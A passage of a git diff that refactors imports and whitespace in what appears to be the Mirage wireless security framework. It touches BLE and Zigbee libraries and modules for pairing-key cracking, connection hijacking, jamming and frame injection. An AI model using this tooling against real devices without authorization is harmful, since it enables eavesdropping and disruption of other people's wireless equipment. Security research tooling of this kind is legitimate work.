should the callback be called. Three formats exists describing an event : - * *\** : indicating "the callback is called every times a packet is received" - * *n* : indicating "the callback is called every times n packets have been received" - * *packetType* : indicating "the callback is called every times a packet of type 'packetType' is received" + * *\** : indicating "the callback is called every times a packet is received" + * *n* : indicating "the callback is called every times n packets have been received" + * *packetType* : indicating "the callback is called every times a packet of type 'packetType' is received" Some examples are represented in the following table: diff --git a/mirage/libs/wireless_utils/callbacks.py b/mirage/libs/wireless_utils/callbacks.py index 4cbd5ad..d1986ae 100644 --- a/mirage/libs/wireless_utils/callbacks.py +++ b/mirage/libs/wireless_utils/callbacks.py @@ -16,11 +16,11 @@ class Callback: +----------------------+-------------------------------+ Some arguments can be passed to the constructor as parameters : - * event : string indicating the event - * function : function to run if the callback is triggered - * args : unnamed arguments of the function - * kwargs : named arguments of the function - * background : boolean indicating if the function is launched in a background thread or in foreground + * event : string indicating the event + * function : function to run if the callback is triggered + * args : unnamed arguments of the function + * kwargs : named arguments of the function + * background : boolean indicating if the function is launched in a background thread or in foreground ''' def __init__(self,event="*",function=None, args=[], kwargs={},background=True): if event == "*" or event.isdigit(): diff --git a/mirage/libs/wireless_utils/device.py b/mirage/libs/wireless_utils/device.py index 6ead27e..1bdadaf 100644 --- a/mirage/libs/wireless_utils/device.py +++ b/mirage/libs/wireless_utils/device.py @@ -6,11 +6,11 @@ class Device: This class is used to communicate with a specific hardware component. Every class communicating with a given hardware component must inherits from this class, and implements the following methods : - * ``init()`` : this method initializes the communication with the hardware component - * ``isUp()`` : this method allows to check if the initialization was successful and if the device is usable - * ``send(packet)`` : this method allows to send data (as a raw representation, e.g. bytes array or scapy frame) - * ``recv()`` : this method allows to receive data (as a raw representation) - * ``close()`` : this method closes the communication with the hardware component + * ``init()`` : this method initializes the communication with the hardware component + * ``isUp()`` : this method allows to check if the initialization was successful and if the device is usable + * ``send(packet)`` : this method allows to send data (as a raw representation, e.g. bytes array or scapy frame) + * ``recv()`` : this method allows to receive data (as a raw representation) + * ``close()`` : this method closes the communication with the hardware component Every device is unique and identified by an interface name : this is a string stored in the ``interface`` attribute. Some devices may provide some additional features, such as address configuration, multiple modes, etc. In order to implement this specific behaviours, some additional methods can be implemented in the child classes, and their name may be appended to the class attribute ``sharedMethods`` (list of strings). Every shared method will be callable by user using the corresponding Emitter (``mirage.libs.wireless.Emitter``) and/or the corresponding Receiver (``mirage.libs.wireless.Receiver``) : they will expose these additional methods thanks to the Proxy design pattern. diff --git a/mirage/libs/wireless_utils/dissectors.py b/mirage/libs/wireless_utils/dissectors.py index 3dd7170..eec6f4b 100644 --- a/mirage/libs/wireless_utils/dissectors.py +++ b/mirage/libs/wireless_utils/dissectors.py @@ -10,8 +10,8 @@ class Dissector: Two main methods have to be implemented : - * **build** : this method converts the data structure to the corresponding raw bytes - * **dissect** : this method converts the raw bytes to the corresponding data structure + * **build** : this method converts the data structure to the corresponding raw bytes + * **dissect** : this method converts the raw bytes to the corresponding data structure ''' def __init__(self,data=b"",length=-1,content={},*args, **kwargs): self.data = data diff --git a/mirage/libs/wireless_utils/packetQueue.py b/mirage/libs/wireless_utils/packetQueue.py index 5c9ac72..4c1dbba 100644 --- a/mirage/libs/wireless_utils/packetQueue.py +++ b/mirage/libs/wireless_utils/packetQueue.py @@ -1,6 +1,7 @@ -import time,threading +import threading +import time from queue import Queue -from mirage.libs.utils import exitMirage + class StoppableThread(threading.Thread): ''' @@ -33,8 +34,8 @@ class PacketQueue: The private method _task implements a watchdog, allowing to put or get some packets in the queue and manipulate them. This watchdog is called continuously thanks to a Stoppable Thread (``mirage.libs.wireless_utils.packetQueue.StoppableThread``). Some parameters may be passed to the constructor : - * waitEmpty : it indicates if the queue should wait for an empty queue before stopping - * autoStart : it indicates if the queue shoud start immediatly after the instanciation of the class + * waitEmpty : it indicates if the queue should wait for an empty queue before stopping + * autoStart : it indicates if the queue shoud start immediatly after the instanciation of the class ''' def __init__(self, waitEmpty = False, autoStart = True): self.waitEmpty = waitEmpty diff --git a/mirage/libs/wireless_utils/packets.py b/mirage/libs/wireless_utils/packets.py index fb96465..b59a105 100644 --- a/mirage/libs/wireless_utils/packets.py +++ b/mirage/libs/wireless_utils/packets.py @@ -14,9 +14,9 @@ class Packet: It can be overloaded in order to implements the relevant packets for a given technology. By default, three attributes are included in a Packet : - * name : it indicates the name of the packet - * packet : it contains the raw representation of the packet (e.g. a bytes array or a scapy frame) - * additionalInformations : it contains some external informations about a packet (e.g. frequency, timestamp ...) + * name : it indicates the name of the packet + * packet : it contains the raw representation of the packet (e.g. a bytes array or a scapy frame) + * additionalInformations : it contains some external informations about a packet (e.g. frequency, timestamp ...) ''' def __init__(self, packet=None, additionalInformations = None): self.name = "Generic Packet" @@ -28,8 +28,8 @@ def toString(self): This method allows to explicitely define how a packet is displayed if it is converted as a string. If this method is not overloaded, the packet is displayed as : - * *<< name >>* if no additional informations are linked to this packet - * *[ additionalInformations ] << name >>* if some additional informations are linked to this packet + * *<< name >>* if no additional informations are linked to this packet + * *[ additionalInformations ] << name >>* if some additional informations are linked to this packet ''' return "<< "+self.name+" >>" diff --git a/mirage/libs/wireless_utils/pcapDevice.py b/mirage/libs/wireless_utils/pcapDevice.py index 2c4bccc..9b77447 100644 --- a/mirage/libs/wireless_utils/pcapDevice.py +++ b/mirage/libs/wireless_utils/pcapDevice.py @@ -1,20 +1,23 @@ -from mirage.libs import io,utils -from mirage.libs.wireless_utils.device import Device -from os.path import isfile -from struct import unpack,pack +import errno import time +from os.path import isfile +from struct import pack, unpack + +from mirage.libs import io, utils +from mirage.libs.wireless_utils.device import Device + class PCAPDevice(Device): ''' This class provides an easy way to implement a PCAP writer or reader as a Mirage Device. - * If the provided interface is an existing file, the PCAPDevice is set in "reading mode". - * If the provided interface is a non existing file, the PCAPDevice is set in "writing mode". + * If the provided interface is an existing file, the PCAPDevice is set in "reading mode". + * If the provided interface is a non existing file, the PCAPDevice is set in "writing mode". Every child classes of PCAPDevice should provide : - * the *DLT* class attribute, defining the DLT of the PCAP file - * the *SCAPY_LAYER* class attribute (optional), defining a scapy layer automatically used to encapsulate the packets + * the *DLT* class attribute, defining the DLT of the PCAP file + * the *SCAPY_LAYER* class attribute (optional), defining a scapy layer automatically used to encapsulate the packets The ``send`` and ``recv`` methods uses the timestamp in order to write and read the pcap "in real time". The ``putPacket``, ``getPacket`` and ``getAllPackets`` methods allow to manipulate directly the packets without taking into account the timestamp values. diff --git a/mirage/libs/zigbee.py b/mirage/libs/zigbee.py index 9fa7e9a..834563a 100644 --- a/mirage/libs/zigbee.py +++ b/mirage/libs/zigbee.py @@ -1,13 +1,30 @@ -from mirage.libs.zigbee_utils.rzusbstick import * -from mirage.libs.zigbee_utils.packets import * -from mirage.libs.zigbee_utils.helpers import * -from mirage.libs.zigbee_utils.pcap import * -from mirage.libs.zigbee_utils.scapy_xbee_layers import * -from mirage.libs import wireless -from mirage.core.module import * + import struct -class ZigbeeEmitter(wireless.Emitter): +from scapy.compat import raw +from scapy.layers.dot15d4 import Dot15d4, Dot15d4Ack, Dot15d4Beacon, Dot15d4Cmd, Dot15d4CmdAssocReq, Dot15d4CmdAssocResp, Dot15d4CmdDisassociation, Dot15d4Data +from scapy.layers.zigbee import ZigBeeBeacon, ZigbeeAppDataPayload, ZigbeeSecurityHeader + +from mirage.core.module import WirelessModule +from mirage.libs.wireless import Emitter, Receiver +from mirage.libs.zigbee_utils.packets import ZigbeeAcknowledgment, \ + ZigbeeApplicationData, \ + ZigbeeApplicationEncryptedData, \ + ZigbeeAssociationRequest, \ + ZigbeeAssociationResponse, \ + ZigbeeBeacon, \ + ZigbeeBeaconRequest, \ + ZigbeeDataRequest, \ + ZigbeeDisassociationNotification, \ + ZigbeePacket, \ + ZigbeeSniffingParameters, \ + ZigbeeXBeeData +from mirage.libs.zigbee_utils.pcap import ZigbeePCAPDevice +from mirage.libs.zigbee_utils.rzusbstick import RZUSBStickDevice +from mirage.libs.zigbee_utils.scapy_xbee_layers import Xbee_Hdr + + +class ZigbeeEmitter(Emitter): def __init__(self,interface): deviceClass = None if "rzusbstick" in interface: @@ -126,7 +143,7 @@ def convert(self,packet): #frame.show() return frame -class ZigbeeReceiver(wireless.Receiver): +class ZigbeeReceiver(Receiver): def __init__(self,interface): deviceClass = None if "rzusbstick" in interface: @@ -143,7 +160,7 @@ def convert(self,packet): new = ZigbeePacket(sequenceNumber=frame.seqnum,data=raw(frame)) new.packet = frame - if frame[Dot15d4].fcf_frametype == 0 or Dot15d4Beacon in frame: + if frame[Dot15d4].fcf_frametype == 0 or Dot15d4Beacon in frame: new = ZigbeeBeacon( sequenceNumber=frame.seqnum, srcAddr=frame.src_addr, @@ -153,10 +170,10 @@ def convert(self,packet): payload=False ) if ZigBeeBeacon in frame: - new.payload = True - new.endDeviceCapacity=frame.end_device_capacity - new.routerCapacity=frame.router_capacity - new.extendedPanID=':'.join('{:02x}'.format(i).upper() for i in struct.pack('>Q',frame.extended_pan_id)) + new.payload = True + new.endDeviceCapacity=frame.end_device_capacity + new.routerCapacity=frame.router_capacity + new.extendedPanID=':'.join('{:02x}'.format(i).upper() for i in struct.pack('>Q',frame.extended_pan_id)) elif frame[Dot15d4].fcf_frametype == 1 or Dot15d4Data in frame: if b"\r\n" == raw(frame[Dot15d4Data:])[-4:-2]: xbeeData = Xbee_Hdr(raw(frame[Dot15d4Data:][1:])) diff --git a/mirage/libs/zigbee_utils/packets.py b/mirage/libs/zigbee_utils/packets.py index 4180f8b..f0c7275 100644 --- a/mirage/libs/zigbee_utils/packets.py +++ b/mirage/libs/zigbee_utils/packets.py @@ -1,7 +1,9 @@ -from mirage.libs import wireless,utils +from mirage.libs import utils +from mirage.libs.wireless_utils.packets import AdditionalInformations, Packet from mirage.libs.zigbee_utils import helpers -class ZigbeeSniffingParameters(wireless.AdditionalInformations): + +class ZigbeeSniffingParameters(AdditionalInformations): ''' This class allows to attach some sniffer's data to a Mirage Zigbee Packet, such as RSSI, valid CRC,link quality indicator or channel. If the frequency is provided, the corresponding channel is automatically calculated. @@ -35,7 +37,7 @@ def toString(self): return "CH:" + str(self.channel)+"|RSSI:"+str(self.rssi)+"dBm"+"|LKI:"+str(self.linkQualityIndicator)+"/255"+"|CRC:"+("OK" if self.validCrc else "NOK") -class ZigbeePacket(wireless.Packet): +class ZigbeePacket(Packet): ''' Mirage Zigbee Packet diff --git a/mirage/libs/zigbee_utils/pcap.py b/mirage/libs/zigbee_utils/pcap.py index 572225d..c8244a7 100644 --- a/mirage/libs/zigbee_utils/pcap.py +++ b/mirage/libs/zigbee_utils/pcap.py @@ -1,15 +1,18 @@ -from mirage.libs.zigbee_utils.scapy_xbee_layers import * -from mirage.libs.zigbee_utils.helpers import * -from mirage.libs import wireless +from scapy.layers.dot15d4 import Dot15d4 -class ZigbeePCAPDevice(wireless.PCAPDevice): +from mirage.libs.wireless_utils.packets import WaitPacket +from mirage.libs.wireless_utils.pcapDevice import PCAPDevice +from mirage.libs.zigbee_utils.helpers import fcs + + +class ZigbeePCAPDevice(PCAPDevice): ''' This device allows to communicate with a PCAP file in order to write and read Zigbee packets. The corresponding interfaces are : ``.pcap`` (e.g. "out.pcap") - * If the file exists, the ZigbeePCAPDevice is in *read* mode, and the corresponding receiver is able to use it as a classic Zigbee sniffer. - * If the file doesn't exist, the ZigbeePCAPDevice is in *write* mode, and the corresponding emitter is able to write packets in the file. + * If the file exists, the ZigbeePCAPDevice is in *read* mode, and the corresponding receiver is able to use it as a classic Zigbee sniffer. + * If the file doesn't exist, the ZigbeePCAPDevice is in *write* mode, and the corresponding emitter is able to write packets in the file. The following capabilities are actually supported : @@ -80,7 +83,7 @@ def generateStream(self): currentTimestamp = timestamp else: wait = (timestamp - currentTimestamp) - stream.append(wireless.WaitPacket(time=wait)) + stream.append(WaitPacket(time=wait)) currentTimestamp = timestamp stream.append(self.publish("convertRawToMiragePacket",packet)) diff --git a/mirage/libs/zigbee_utils/rzusbstick.py b/mirage/libs/zigbee_utils/rzusbstick.py index 0d11728..a250b27 100644 --- a/mirage/libs/zigbee_utils/rzusbstick.py +++ b/mirage/libs/zigbee_utils/rzusbstick.py @@ -1,11 +1,33 @@ -from scapy.all import * -from mirage.libs import wireless,io,utils -from mirage.libs.zigbee_utils.constants import * -from threading import Lock from fcntl import ioctl -import usb.core, usb.util +from threading import Lock -class RZUSBStickDevice(wireless.Device): +import usb.core +import usb.util +from scapy.config import conf +from scapy.layers.dot15d4 import Dot15d4 + +from mirage.libs import io +from mirage.libs.wireless_utils.device import Device +from mirage.libs.zigbee_utils.constants import RZUSBSTICK_ID_PRODUCT,\ + RZUSBSTICK_ID_VENDOR,\ + RZ_AIRCAPTURE_DATA,\ + RZ_CLOSE_STREAM,\ + RZ_COMMAND_ENDPOINT,\ + RZ_INJECT_FRAME,\ + RZ_JAMMER_OFF,\ + RZ_JAMMER_ON,\ + RZ_MODE_AIRCAPTURE,\ + RZ_MODE_NONE,\ + RZ_OPEN_STREAM,\ + RZ_PACKET_ENDPOINT,\ + RZ_RESPONSE_ENDPOINT,\ + RZ_RESP_SUCCESS,\ + RZ_SET_CHANNEL,\ + RZ_SET_MODE,\ + USBDEVFS_RESET + + +class RZUSBStickDevice(Device): ''' This device allows to communicate with a RZUSBstick in order to interact with the Zigbee protocol. The corresponding interfaces are : ``rzusbstickX`` (e.g. "rzusbstick0") @@ -13,7 +35,7 @@ class RZUSBStickDevice(wireless.Device): The following capabilities are actually supported : +-----------------------------------+----------------+ - | Capability | Available ? | + | Capability | Available ? | +===================================+================+ | SNIFFING | yes | +-----------------------------------+----------------+ @@ -31,8 +53,8 @@ class RZUSBStickDevice(wireless.Device): .. warning:: Some features provided by this hardware seems unstable : - * A small amount of time is required to switch from TX to RX, so some frames may be missing - * The jamming feature seems to send a very short signal which is not strong and long enough to jam a Zigbee channel + * A small amount of time is required to switch from TX to RX, so some frames may be missing + * The jamming feature seems to send a very short signal which is not strong and long enough to jam a Zigbee channel I'm not sure if the problem is linked to my hardware or if the Killerbee firmare is buggy. diff --git a/mirage/libs/zigbee_utils/scapy_xbee_layers.py b/mirage/libs/zigbee_utils/scapy_xbee_layers.py index b0ec999..15d4702 100644 --- a/mirage/libs/zigbee_utils/scapy_xbee_layers.py +++ b/mirage/libs/zigbee_utils/scapy_xbee_layers.py @@ -1,13 +1,14 @@ -from scapy.all import * - ''' This module contains some scapy definitions for XBee packets. ''' +from scapy.fields import ByteField +from scapy.packet import Packet + class Xbee_Hdr(Packet): - description = "XBee payload" - fields_desc = [ - ByteField("counter", None), - ByteField("unknown", None) + description = "XBee payload" + fields_desc = [ + ByteField("counter", None), + ByteField("unknown", None) ] diff --git a/mirage/mirage.py b/mirage/mirage.py index 82c536b..87459d1 100755 --- a/mirage/mirage.py +++ b/mirage/mirage.py @@ -1,5 +1,5 @@ #!/usr/bin/env python3 -from mirage.core import app,argParser,loader +from mirage.core import app,argParser from mirage.libs.utils import initializeHomeDir diff --git a/mirage/modules/__init__.py b/mirage/modules/__init__.py index e7ff869..53fd639 100644 --- a/mirage/modules/__init__.py +++ b/mirage/modules/__init__.py @@ -1,6 +1,7 @@ -import os, sys, imp +import os + from mirage.core.app import App -from mirage.libs.utils import getHomeDir,generateModulesDictionary +from mirage.libs.utils import generateModulesDictionary, getHomeDir if App.Instance is not None: # Modules Directory diff --git a/mirage/modules/ble_adv.py b/mirage/modules/ble_adv.py index d580dbb..337a2f3 100644 --- a/mirage/modules/ble_adv.py +++ b/mirage/modules/ble_adv.py @@ -1,5 +1,7 @@ -from mirage.libs import io,ble,utils from mirage.core import module +from mirage.libs import io, utils +from mirage.libs.ble_utils.packets import BLEDisconnect + class ble_adv(module.WirelessModule): def init(self): @@ -30,7 +32,7 @@ def run(self): self.emitter = self.getEmitter(interface=interface) if self.checkCapabilities(): if self.emitter.isConnected(): - self.emitter.sendp(ble.BLEDisconnect()) + self.emitter.sendp(BLEDisconnect()) while self.emitter.isConnected(): utils.wait(seconds=0.01) address = (self.emitter.getAddress() if self.args["ADVERTISING_ADDRESS"] == "" diff --git a/mirage/modules/ble_connect.py b/mirage/modules/ble_connect.py index 5509a53..ba16814 100644 --- a/mirage/modules/ble_connect.py +++ b/mirage/modules/ble_connect.py @@ -1,5 +1,7 @@ -from mirage.libs import io,ble,utils from mirage.core import module +from mirage.libs import io, utils +from mirage.libs.ble_utils.packets import BLEConnect, BLEConnectionCancel + class ble_connect(module.WirelessModule): def init(self): @@ -25,7 +27,7 @@ def run(self): if self.checkCapabilities(): io.info("Trying to connect to : "+self.args["TARGET"]+" (type : "+self.args["CONNECTION_TYPE"]+")") - self.emitter.sendp(ble.BLEConnect(self.args["TARGET"], type=self.args["CONNECTION_TYPE"])) + self.emitter.sendp(BLEConnect(self.args["TARGET"], type=self.args["CONNECTION_TYPE"])) while not self.receiver.isConnected() and timeout > 0: timeout -= 1 @@ -37,7 +39,7 @@ def run(self): else: io.fail("Error during connection establishment !") - self.emitter.sendp(ble.BLEConnectionCancel()) + self.emitter.sendp(BLEConnectionCancel()) return self.nok() else: io.fail("Interface provided ("+str(self.args["INTERFACE"])+") is not able to initiate connection.") diff --git a/mirage/modules/ble_crack.py b/mirage/modules/ble_crack.py index 785f09c..d1f3a06 100644 --- a/mirage/modules/ble_crack.py +++ b/mirage/modules/ble_crack.py @@ -1,5 +1,7 @@ -from mirage.libs import utils,io,ble from mirage.core import module +from mirage.libs import io, utils +from mirage.libs.ble_utils.crypto import BLECrypto + class ble_crack(module.WirelessModule): def init(self): @@ -32,7 +34,7 @@ def checkParametersValidity(self): self.args["RESPONDER_ADDRESS"] != "" and self.args["INITIATOR_ADDRESS_TYPE"] != "" and self.args["RESPONDER_ADDRESS_TYPE"] != "" - ) + ) payloads = (self.args["PAIRING_REQUEST"] != "" and self.args["PAIRING_RESPONSE"] != "") return couple and addresses and payloads @@ -60,7 +62,7 @@ def run(self): io.info("Cracking TK ...") - pin = ble.BLECrypto.crackTemporaryKey( + pin = BLECrypto.crackTemporaryKey( rand, self.pReq, self.pRes, @@ -75,7 +77,7 @@ def run(self): io.success("Temporary Key found : "+self.temporaryKey.hex()) if self.mRand != b"" and self.sRand != b"": - self.shortTermKey = ble.BLECrypto.s1(self.temporaryKey,self.mRand,self.sRand)[::-1] + self.shortTermKey = BLECrypto.s1(self.temporaryKey,self.mRand,self.sRand)[::-1] io.success("Short Term Key found : "+self.shortTermKey.hex()) return self.ok({"PIN":str(pin), "TEMPORARY_KEY":self.temporaryKey.hex(),"SHORT_TERM_KEY":self.shortTermKey.hex()}) return self.ok({"PIN":str(pin), "TEMPORARY_KEY":self.temporaryKey.hex()}) diff --git a/mirage/modules/ble_discover.py b/mirage/modules/ble_discover.py index 07a81ca..8ade407 100644 --- a/mirage/modules/ble_discover.py +++ b/mirage/modules/ble_discover.py @@ -1,7 +1,18 @@ -from mirage.libs import io,utils,ble -from mirage.core import module import configparser +from mirage.core import module +from mirage.libs import io, utils +from mirage.libs.ble_utils.dissectors import CharacteristicDeclaration, CharacteristicDescriptor, Service, UUID +from mirage.libs.ble_utils.packets import BLEErrorResponse,\ + BLEFindInformationRequest,\ + BLEFindInformationResponse,\ + BLEReadByGroupTypeRequest,\ + BLEReadByGroupTypeResponse,\ + BLEReadByTypeRequest,\ + BLEReadByTypeResponse,\ + BLEReadRequest,\ + BLEReadResponse + class ble_discover(module.WirelessModule): def init(self): @@ -54,7 +65,7 @@ def exportGATT(self,datas): "permissions":permissions, "value":value, "valueHandle":valueHandle - } + } if "descriptors" in characteristic: for descriptor in characteristic["descriptors"]: uuid = descriptor["type"].hex() @@ -93,7 +104,7 @@ def printCharacteristics(self, characteristics,title="Characteristics"): uuid16 = (hex(characteristic["uuid"].UUID16) if characteristic["uuid"].UUID16 is not None else "" - ) + ) uuid128 = (characteristic["uuid"].UUID128.hex() if characteristic["uuid"].UUID128 is not None else "" @@ -109,7 +120,7 @@ def printCharacteristics(self, characteristics,title="Characteristics"): descriptors = "" if "descriptors" in characteristic: for desc in characteristic["descriptors"]: - namedesc = ble.CharacteristicDescriptor(data=desc["type"]).UUID.name + namedesc = CharacteristicDescriptor(data=desc["type"]).UUID.name valuedesc = (desc["value"].replace(b"\x00",b"").decode("ascii") if utils.isPrintable(desc["value"]) and len(desc["value"])>0 else desc["value"].hex() @@ -130,7 +141,7 @@ def printServices(self, services, title="Services"): uuid16 = (hex(service["uuid"].UUID16) if service["uuid"].UUID16 is not None else "" - ) + ) uuid128 = (service["uuid"].UUID128.hex() if service["uuid"].UUID128 is not None else "" @@ -141,14 +152,14 @@ def printServices(self, services, title="Services"): ) formattedServices.append([startHandle,endHandle,uuid16, uuid128,name]) io.chart(["Start Handle","End Handle", "UUID16", "UUID128", "Name"], - formattedServices, - io.colorize(title, "yellow") + formattedServices, + io.colorize(title, "yellow") ) def printAttributes(self,attributes): formattedAttributes = [] for attribute in attributes: - aType = ble.UUID(data=attribute["type"]) + aType = UUID(data=attribute["type"]) if aType.name is not None: attributeType = aType.name elif aType.UUID16 is not None: @@ -160,8 +171,8 @@ def printAttributes(self,attributes): attributeHandle = "0x{:04x}".format(attribute["handle"]) formattedAttributes.append([attributeHandle, attributeType,attributeValue]) io.chart(["Attribute Handle", "Attribute Type", "Attribute Value"], - formattedAttributes, - io.colorize("Attributes","yellow") + formattedAttributes, + io.colorize("Attributes","yellow") ) @@ -170,17 +181,17 @@ def servicesDiscovery(self, uuid, startHandle = 0x0001, endHandle = 0xffff): services = [] while continuer: - request = ble.BLEReadByGroupTypeRequest(startHandle=start,endHandle=end,uuid=uuid) + request = BLEReadByGroupTypeRequest(startHandle=start,endHandle=end,uuid=uuid) self.emitter.sendp(request) - p = self.receive([ble.BLEReadByGroupTypeResponse,ble.BLEErrorResponse],retry=request) + p = self.receive([BLEReadByGroupTypeResponse,BLEErrorResponse],retry=request) - if isinstance(p,ble.BLEReadByGroupTypeResponse): + if isinstance(p,BLEReadByGroupTypeResponse): for i in p.attributes: - service = ble.Service(data=i['value'][::-1]) + service = Service(data=i['value'][::-1]) serviceStruct = { "startHandle":i["attributeHandle"], @@ -192,18 +203,18 @@ def servicesDiscovery(self, uuid, startHandle = 0x0001, endHandle = 0xffff): services.append(serviceStruct) start = p.attributes[-1]["endGroupHandle"] + 1 continuer = (start <= 0xFFFF) - elif isinstance(p,ble.BLEErrorResponse): + elif isinstance(p,BLEErrorResponse): continuer = False else: pass return services def primaryServicesDiscovery(self,startHandle = 0x0001, endHandle = 0xffff): - uuid = ble.UUID(name="Primary Service").UUID16 + uuid = UUID(name="Primary Service").UUID16 return self.servicesDiscovery(uuid,startHandle=startHandle,endHandle=endHandle) def secondaryServicesDiscovery(self,startHandle = 0x0001, endHandle = 0xffff): - uuid = ble.UUID(name="Secondary Service").UUID16 + uuid = UUID(name="Secondary Service").UUID16 return self.servicesDiscovery(uuid,startHandle=startHandle,endHandle=endHandle) def allServicesDiscovery(self, startHandle = 0x0001, endHandle = 0xffff): @@ -216,20 +227,20 @@ def allServicesDiscovery(self, startHandle = 0x0001, endHandle = 0xffff): return primary + secondary def characteristicsDiscovery(self,startHandle=0x0001, endHandle=0xFFFF): - characteristicDeclarationUUID = ble.UUID(name="Characteristic Declaration").UUID16 + characteristicDeclarationUUID = UUID(name="Characteristic Declaration").UUID16 start, end, continuer = startHandle,endHandle,True characteristics = [] while continuer: - request = ble.BLEReadByTypeRequest(startHandle=start,endHandle=end,uuid= characteristicDeclarationUUID) + request = BLEReadByTypeRequest(startHandle=start,endHandle=end,uuid= characteristicDeclarationUUID) self.emitter.sendp(request) - p = self.receive([ble.BLEReadByTypeResponse,ble.BLEErrorResponse],retry=request) + p = self.receive([BLEReadByTypeResponse,BLEErrorResponse],retry=request) - if isinstance(p,ble.BLEReadByTypeResponse): + if isinstance(p,BLEReadByTypeResponse): for i in p.attributes: - characteristicDeclaration = ble.CharacteristicDeclaration(data=i['value'][::-1]) + characteristicDeclaration = CharacteristicDeclaration(data=i['value'][::-1]) characteristic = { "declarationHandle":i["attributeHandle"], "valueHandle":characteristicDeclaration.valueHandle, @@ -238,10 +249,10 @@ def characteristicsDiscovery(self,startHandle=0x0001, endHandle=0xFFFF): "value":b"" } if "Read" in characteristicDeclaration.permissionsFlag: - request = ble.BLEReadRequest(handle=characteristicDeclaration.valueHandle) + request = BLEReadRequest(handle=characteristicDeclaration.valueHandle) self.emitter.sendp(request) - p = self.receive([ble.BLEReadResponse,ble.BLEErrorResponse],retry=request) - if isinstance(p,ble.BLEReadResponse): + p = self.receive([BLEReadResponse,BLEErrorResponse],retry=request) + if isinstance(p,BLEReadResponse): characteristic["value"] = p.value @@ -251,7 +262,7 @@ def characteristicsDiscovery(self,startHandle=0x0001, endHandle=0xFFFF): start = start + 1 continuer = (start <= 0xFFFF) - elif isinstance(p,ble.BLEErrorResponse): + elif isinstance(p,BLEErrorResponse): continuer = False else: pass @@ -261,10 +272,10 @@ def attributesDiscovery(self, startHandle = 0x0001, endHandle = 0xFFFF): attributes = [] start, end, continuer = startHandle,endHandle, True while continuer: - request = ble.BLEFindInformationRequest(startHandle=start, endHandle=end) + request = BLEFindInformationRequest(startHandle=start, endHandle=end) self.emitter.sendp(request) - p = self.receive([ble.BLEFindInformationResponse,ble.BLEErrorResponse],retry=request) - if isinstance(p,ble.BLEFindInformationResponse): + p = self.receive([BLEFindInformationResponse,BLEErrorResponse],retry=request) + if isinstance(p,BLEFindInformationResponse): for i in p.attributes: attribute = {"handle":i["attributeHandle"], "type":i["type"], "value":b""} if attribute not in attributes: @@ -272,17 +283,17 @@ def attributesDiscovery(self, startHandle = 0x0001, endHandle = 0xFFFF): start = i["attributeHandle"] + 1 continuer = (start < 0xFFFF) - elif isinstance(p,ble.BLEErrorResponse): + elif isinstance(p,BLEErrorResponse): continuer = False else: pass for attribute in attributes: - request = ble.BLEReadRequest(handle=attribute["handle"]) + request = BLEReadRequest(handle=attribute["handle"]) self.emitter.sendp(request) - p = self.receive([ble.BLEReadResponse,ble.BLEErrorResponse],retry=request) + p = self.receive([BLEReadResponse,BLEErrorResponse],retry=request) - if isinstance(p,ble.BLEReadResponse): + if isinstance(p,BLEReadResponse): attribute["value"] = p.value return attributes @@ -291,17 +302,17 @@ def characteristicDescriptorDiscovery(self, startHandle = 0x0001, endHandle = 0x descriptors = [] start, end, continuer = startHandle,endHandle, True while continuer: - request = ble.BLEFindInformationRequest(startHandle=start, endHandle=end) + request = BLEFindInformationRequest(startHandle=start, endHandle=end) self.emitter.sendp(request) - p = self.receive([ble.BLEFindInformationResponse,ble.BLEErrorResponse],retry=request) - if isinstance(p,ble.BLEFindInformationResponse): + p = self.receive([BLEFindInformationResponse,BLEErrorResponse],retry=request) + if isinstance(p,BLEFindInformationResponse): for i in p.attributes: attribute = {"handle":i["attributeHandle"], "type":i["type"], "value":""} if attribute not in descriptors: - request2 = ble.BLEReadRequest(handle=i["attributeHandle"]) + request2 = BLEReadRequest(handle=i["attributeHandle"]) self.emitter.sendp(request2) - p2 = self.receive([ble.BLEReadResponse,ble.BLEErrorResponse],retry=request2) - if isinstance(p2,ble.BLEReadResponse): + p2 = self.receive([BLEReadResponse,BLEErrorResponse],retry=request2) + if isinstance(p2,BLEReadResponse): attribute["value"] = p2.value else: attribute["value"] = b"" @@ -309,7 +320,7 @@ def characteristicDescriptorDiscovery(self, startHandle = 0x0001, endHandle = 0x start = i["attributeHandle"] + 1 continuer = (start < 0xFFFF) - elif isinstance(p,ble.BLEErrorResponse): + elif isinstance(p,BLEErrorResponse): continuer = False else: pass @@ -323,17 +334,17 @@ def parseFilterType(self): if filterType=="": return None if utils.isNumber(filterType): - return ble.UUID(UUID16=int(filterType)).data + return UUID(UUID16=int(filterType)).data elif utils.isHexadecimal(filterType) and len(filterType)<=6: - return ble.UUID(UUID16=int(filterType, 16)).data + return UUID(UUID16=int(filterType, 16)).data elif utils.isHexadecimal(filterType) and len(filterType)>6: - uuid = ble.UUID(UUID128=bytes.fromhex(filterType)).data + uuid = UUID(UUID128=bytes.fromhex(filterType)).data if uuid is None: return bytes.fromhex(filterType) else: return uuid else: - return ble.UUID(name=filterType).data + return UUID(name=filterType).data def applyFilter(self, attributes): filteredAttributes = attributes filterBy = self.args["FILTER_BY"].lower() diff --git a/mirage/modules/ble_hijack.py b/mirage/modules/ble_hijack.py index 9861f28..4208ba0 100644 --- a/mirage/modules/ble_hijack.py +++ b/mirage/modules/ble_hijack.py @@ -1,5 +1,6 @@ -from mirage.libs import io,ble,utils from mirage.core import module +from mirage.libs import io, utils + class ble_hijack(module.WirelessModule): def init(self): diff --git a/mirage/modules/ble_info.py b/mirage/modules/ble_info.py index 06b8d0f..91e8903 100644 --- a/mirage/modules/ble_info.py +++ b/mirage/modules/ble_info.py @@ -1,5 +1,6 @@ -from mirage.libs import io,ble,utils from mirage.core import module +from mirage.libs import io, utils + class ble_info(module.WirelessModule): def init(self): diff --git a/mirage/modules/ble_jam.py b/mirage/modules/ble_jam.py index 7cb75da..1e45dd6 100644 --- a/mirage/modules/ble_jam.py +++ b/mirage/modules/ble_jam.py @@ -1,5 +1,6 @@ -from mirage.libs import io,ble,utils from mirage.core import module +from mirage.libs import io, utils + class ble_jam(module.WirelessModule): def init(self): diff --git a/mirage/modules/ble_master.py b/mirage/modules/ble_master.py index b0dbd27..9c6b0e9 100644 --- a/mirage/modules/ble_master.py +++ b/mirage/modules/ble_master.py @@ -1,6 +1,17 @@ import subprocess -from mirage.libs import io,utils,ble -from mirage.core import module,interpreter + +from mirage.core import interpreter, module +from mirage.libs import io, utils +from mirage.libs.ble_utils.packets import BLEConnectionParameterUpdateResponse, \ + BLEDisconnect, \ + BLEErrorResponse, \ + BLEHandleValueConfirmation, \ + BLEReadRequest, \ + 